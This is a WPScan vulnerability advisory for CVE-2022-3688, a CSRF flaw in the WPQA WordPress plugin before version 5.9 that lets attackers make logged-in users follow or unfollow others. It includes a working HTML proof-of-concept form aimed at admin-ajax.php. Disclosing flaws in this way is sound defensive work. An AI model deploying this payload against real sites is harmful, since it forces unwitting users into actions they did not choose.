WPScan

WPQA < 5.9 - Follow/Unfollow via CSRF

Description

The plugin does not have CSRF check when following and unfollowing users, which could allow attackers to make logged in users perform such actions via CSRF attacks

Proof of Concept

```
<html>
  <body>
    <form action="https://example.comwp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpqa&#95;following&#95;you" />
      <input type="hidden" name="following&#95;var&#95;id" value="9839" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Affects Plugins

☐ **wpqa**

Fixed in version 5.9 ✓

References

WPScan

CVE-2022-3688

Classification

Type

CSRF

OWASP top 10

A2: Broken Authentication and Session Management

CWE

CWE-352

Miscellaneous

Original Researcher

Bikram Kharal

Submitter

Bikram Kharal

Submitter website

http://bikramkharal.com.np/

Submitter twitter

themarkib

Verified

Yes

WPVDB ID

03b2c6e6-b86e-4143-a84a-7a99060c4848

Timeline

WPScan

Policy Published

2022-10-25 (about 1 months ago)

Added

2022-10-25 (about 1 months ago)

Last Updated

2022-10-26 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin

Vulnerabilities

WordPress

Plugins

Themes

Our Stats

Submit vulnerabilities

About

How it works

Pricing

WPScan

WordPress plugin

News

Contact

For Developers

Status

API details

CLI scanner

Other

Privacy

Terms of service

Submission terms

Disclosure policy

In partnership with Jetpack

An   endeavor

Work With Us